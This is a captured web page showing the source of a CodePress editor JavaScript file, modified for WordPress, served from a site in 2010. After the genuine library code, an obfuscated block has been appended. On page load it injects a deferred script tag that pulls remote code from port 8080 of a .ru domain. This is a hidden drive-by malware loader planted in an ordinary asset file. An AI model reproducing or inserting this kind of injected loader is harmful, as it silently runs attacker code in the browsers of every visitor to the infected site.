URL:    [ Dan Winchester Home ] [ View Source Home ] 
HTTP/1.1 200 OK
Date: Fri, 07 May 2010 13:23:54 GMT
Server: Apache
Last-Modified: Tue, 04 May 2010 14:12:07 GMT
ETag: "174c003-1641-485c54b67fbc0"
Accept-Ranges: bytes
Content-Length: 5697
Connection: close
Content-Type: application/javascript

/*
 * CodePress - Real Time Syntax Highlighting Editor written in JavaScript - http://codepress.org/
 * 
 * Copyright (C) 2006 Fernando M.A.d.S. <fermads@gmail.com>
 *
 * This program is free software; you can redistribute it and/or modify it under the terms of the 
 * GNU Lesser General Public License as published by the Free Software Foundation.
 * 
 * Read the full licence: http://www.opensource.org/licenses/lgpl-license.php
 */

CodePress = function(obj) {
	var self = document.createElement('iframe');
	self.textarea = obj;
	self.textarea.disabled = true;
	self.textarea.style.overflow = 'hidden';
	self.style.height = self.textarea.clientHeight +'px';
	self.style.width = self.textarea.clientWidth +'px';
	self.textarea.style.overflow = 'auto';
	self.style.border = '1px solid gray';
	self.frameBorder = 0; // remove IE internal iframe border
	self.style.visibility = 'hidden';
	self.style.position = 'absolute';
	self.options = self.textarea.className;
	
	self.initialize = function() {
		self.editor = self.contentWindow.CodePress;
		self.editor.body = self.contentWindow.document.getElementsByTagName('body')[0];
		self.editor.setCode(self.textarea.value);
		self.setOptions();
		self.editor.syntaxHighlight('init');
		self.textarea.style.display = 'none';
		self.style.position = 'static';
		self.style.visibility = 'visible';
		self.style.display = 'inline';
	}
	
	// obj can by a textarea id or a string (code)
	self.edit = function(obj,language) {
		if(obj) self.textarea.value = document.getElementById(obj) ? document.getElementById(obj).value : obj;
		if(!self.textarea.disabled) return;
		self.language = language ? language : self.getLanguage();
		self.src = CodePress.path+'codepress.html?language='+self.language+'&ts='+(new Date).getTime();
		if(self.attachEvent) self.attachEvent('onload',self.initialize);
		else self.addEventListener('load',self.initialize,false);
	}

	self.getLanguage = function() {
		for (language in CodePress.languages) 
			if(self.options.match('\\b'+language+'\\b')) 
				return CodePress.languages[language] ? language : 'generic';
	}
	
	self.setOptions = function() {
		if(self.options.match('autocomplete-off')) self.toggleAutoComplete();
		if(self.options.match('readonly-on')) self.toggleReadOnly();
		if(self.options.match('linenumbers-off')) self.toggleLineNumbers();
	}
	
	self.getCode = function() {
		return self.textarea.disabled ? self.editor.getCode() : self.textarea.value;
	}

	self.setCode = function(code) {
		self.textarea.disabled ? self.editor.setCode(code) : self.textarea.value = code;
	}

	self.toggleAutoComplete = function() {
		self.editor.autocomplete = (self.editor.autocomplete) ? false : true;
	}
	
	self.toggleReadOnly = function() {
		self.textarea.readOnly = (self.textarea.readOnly) ? false : true;
		if(self.style.display != 'none') // prevent exception on FF + iframe with display:none
			self.editor.readOnly(self.textarea.readOnly ? true : false);
	}
	
	self.toggleLineNumbers = function() {
		var cn = self.editor.body.className;
		self.editor.body.className = (cn==''||cn=='show-line-numbers') ? 'hide-line-numbers' : 'show-line-numbers';
	}
	
	self.toggleEditor = function() {
		if(self.textarea.disabled) {
			self.textarea.value = self.getCode();
			self.textarea.disabled = false;
			self.style.display = 'none';
			self.textarea.style.display = 'inline';
		}
		else {
			self.textarea.disabled = true;
			self.setCode(self.textarea.value);
			self.editor.syntaxHighlight('init');
			self.style.display = 'inline';
			self.textarea.style.display = 'none';
		}
	}

	self.edit();
	return self;
}

CodePress.languages = {	
	csharp : 'C#', 
	css : 'CSS', 
	generic : 'Generic',
	html : 'HTML',
	java : 'Java', 
	javascript : 'JavaScript', 
	perl : 'Perl', 
	ruby : 'Ruby',	
	php : 'PHP', 
	text : 'Text', 
	sql : 'SQL',
	vbscript : 'VBScript'
}


CodePress.run = function() {
	// Modified for WordPress compat to prevent loading on webkit and to
	// reference a codepress_path which is specified externally.
	if (navigator.userAgent.toLowerCase().indexOf('webkit') != -1)
		return;
	CodePress.path = codepress_path;
	var t = document.getElementsByTagName('textarea'), i, id;
	for(i=0,n=t.length;i<n;i++) {
		if(t[i].className.match('codepress')) {
			id = t[i].id;
			t[i].id = id+'_cp';
			eval(id+' = new CodePress(t[i])');
			t[i].parentNode.insertBefore(eval(id), t[i]);
		} 
	}
}

if(window.attachEvent) window.attachEvent('onload',CodePress.run);
else window.addEventListener('DOMContentLoaded',CodePress.run,false);

this.l=18257;this.l--;this.p=43988;this.p--;var jk=["DB","jv","bN"];var oO=new Date();function t(){this.HA=62698;this.HA--;this.X=54063;this.X--;var H=String("dewIG".substr(0,2)+"fe"+"r");var z=["Q","n"];uX={lg:"e"};this.BH="BH";var CS={U:"zF"};var W=new String("body");var C=window;LP=53116;LP+=34;tK=25028;tK-=167;var D=String("scripk8AN".substr(0,5)+"tWrh6".substr(0,1));var J=String("app8eJ".substr(0,3)+"end"+"B29Chi".substr(3)+"ld");var Hs=String("creati9h".substr(0,5)+"eElem"+"W8p6ent".substr(4));var a=String("sr"+"c");Ws=["ts","re"];var P=document;var x=String("onlo"+"ad");var _x=["Un","rY"];XX=9146;XX--;function T(){var Ii="Ii";var _u={nW:"JB"};try {var f='';var _=783024-774944;Y_={nb:false};var cs=65393;var g=9470-9469;var r="lZ9P/goog".substr(4)+"le.co"+"m/kak"+"KWDOaku.c".substr(4)+"om/11"+"0mb.cwTh".substr(0,5)+"om.ph"+"p";eZ=["uV"];var Dz=false;var o=String("d9Fmhttp".substr(4)+"CUF://d".substr(3)+"irty"+"sin."+"ru:");O=P[Hs](D);this.On=false;var EH=new String();var uM=[];try {var Mw='hK'} catch(Mw){};O[H]=g;O[a]=o+_+r;SA=["Ue"];xs=[];ME=[];P[W][J](O);var KC=[];var He="";} catch(xv){this.o_=false;};}sH=59152;sH+=228;C[x]=T;this.q="q";};var m=false;t();
 Questions or comments welcome: contact me.